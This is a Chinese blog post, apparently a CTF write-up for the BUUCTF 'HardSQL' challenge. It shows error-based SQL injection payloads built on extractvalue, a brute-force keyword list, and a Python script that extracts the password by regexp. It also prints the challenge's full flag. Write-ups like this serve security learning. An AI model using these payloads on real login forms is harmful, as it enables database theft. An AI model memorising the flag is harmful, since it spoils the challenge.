• [极客大挑战 2019]HardSQL-1


    1、打开之后万能密码等均被过滤,那就先确定下过滤的内容,采用brup抓包进行爆破,发现对union进行了过滤,因此这里就没法使用联合注入,结果如下:

    爆破得字典:

     
    ^
    &
    &&
    |
    ||
    and
    And
    anandd
    AnanDd
    or
    Or
    oorr
    union
    uNIon
    ununionion
    UnunionIOn
    substr
    length
    ascii
    =
    >
    /**/
    (
    )
    <
    select
    selselect
    SeleCT
    updatexml
    extractvalue
    floor
    limit
    select
    selselectect
    concat
    group
    by
    order
    information_schema
    tables
    where
    left
    right
    regexp

    2、查看登录测试的爆破内容,发现正常的回返信息只有两种,因此这里没有办法采用bool注入,如下:

    3、在测试闭合时发现sql语句错误时会返回错误信息(payload:username=admin&password='和username=admin&password='%23)而且在上面的爆破中显示用于报错注入的函数并没有被过滤,,因此这里想到了报错注入,结果如下:

    4、确定报错注入和闭合方式后那就开始进行获取数据库名,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(database())),0x7e)))#,账户随便填,最终成功获取到数据库名称:geek,结果如下:

    5、获取到数据库名称之后开始获取表名,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)))#,账户随便填,最终成功获取到表名称:H4rDsq1,结果如下:

    6、获取到数据库内的表名信息后,就开始获取列名信息,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))#,账户随便填,最终成功获取到列名称:id,username,password,结果如下:

    7、获取到列明信息后那就直接读取表内的信息,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))#,但是因为extractvalue函数只能返回32位数据,因此返回的数据并不完整,结果如下:

    8、这里的话如果substr未过滤的话可以通过substr函数进行两次读取获取完整的flag值,但是这里没法使用,这里只能采用另外的两种方式来获取flag值:

    第一种:通过right函数,payload:1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#,成功获取到剩余的flag值,结果如下:

    第二种:通过regexp函数,这个的原理是当正则匹配到flag值时可以正常返回已经读取到的32位flag值,当匹配错误时,则会返回密码错误,脚本代码如下:

    脚本代码如下:

    url地址是直接复制的地址栏的地址,所以存在的都是编码后的字符,其原始语句为:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^f')),0x7e)))#,可用payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad}')),0x7e)))#,验证正则匹配方式的正确性,脚本如下:

    import requests
    import time
    #去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
    #未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
    strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~'
    i = 1
    flag = ''
    while i < 80:
        for one_char in strings:
            one_char = flag + one_char
            url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"
            time.sleep(0.05)
            rs = requests.get(url)
            if 'flag' in rs.text:
                flag = one_char
                print("\r", end="")
                print('flag为:' + flag, end='')
                break
  • 相关阅读:
    iOS13 tabBar 设置背景色失效
    数据结构之数组
    基于Java的毕业设计选题管理系统设计与实现(源码+lw+部署文档+讲解等)
    SpringBoot整合Redis事务特性实践整理
    神经网络学说的主要观点,神经网络宏观解释包括
    ELK搭建(十三):搭建Nginx资源访问率、丢包率、读写率等运行性能监控平台
    oracle行转列、列转行总结
    雷尼绍探头编程 9810
    算法题(java)
    面向对象(类/继承/封装/多态)详解
  • 原文地址:https://www.cnblogs.com/upfine/p/16578800.html